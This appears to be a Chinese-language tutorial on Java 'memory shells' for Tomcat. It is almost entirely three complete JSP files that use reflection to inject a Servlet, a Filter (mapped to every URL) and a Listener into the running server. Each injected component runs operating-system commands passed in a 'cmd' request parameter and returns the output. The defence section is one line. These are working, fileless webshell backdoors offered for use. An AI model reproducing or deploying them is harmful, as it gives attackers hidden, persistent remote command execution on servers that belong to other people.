内存马介绍
内存马其实由来已久，早在十几年前，内存马的技术雏形就已经在Windows平台出现，以线程注入为代表的这一类技术，通过将木马注入到系统进程和删除自身进程的方式，来躲避杀毒软件的查杀和实现自身的隐藏。
随着技术的发展，攻击目标的变迁，内存马也渐渐在不同的层面获得了发展，攻击范围涵盖操作系统脚本、进程，Java容器和Web服务程序等，攻击方式多变且复杂。
Java内存马即运行在内存中的Java后门木马，它没有落地文件，隐蔽性高，是网络安全攻防中常用的木马形式。
Java Web内存马
Servlet内存马
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.PrintWriter" %>
<%!
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();
%>
<%
Wrapper newWrapper = stdcontext.createWrapper();
String name = servlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
%>
<%
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/abc", name);
%>
filter内存马
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "y4tacker";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
Listener 内存马
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%!
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
MyListener listenerDemo = new MyListener();
context.addApplicationEventListener(listenerDemo);
%>
内存马防御
对于上述内存马，重启tomcat进程即可